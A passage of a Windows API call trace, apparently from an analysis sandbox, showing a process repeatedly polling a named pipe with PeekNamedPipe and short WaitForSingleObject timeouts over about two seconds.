lpBytesLeftThisMessage=0x0) returned 1 [0099.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.937] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.968] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.999] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.030] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.062] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.062] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.093] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.093] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.124] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.124] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.166] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.186] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.253] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.280] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.280] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.311] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.355] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.356] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.379] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.379] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.476] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.476] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.529] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.717] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.811] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.841] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.873] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.904] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.936] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.997] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.028] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.122] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.154] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.185] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.216] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.247] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.278] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.309] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.341] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.341] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.403] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.434] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.497] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.497] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.528] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.559] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.590] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.590] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.621] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.622] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.653] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.653] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.684] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.684] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.715] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.715] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.746] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.778] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.808] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.840] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.840] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.871] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.902] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.933] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.934] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.964] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.996] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.996] WaitForSingleObject 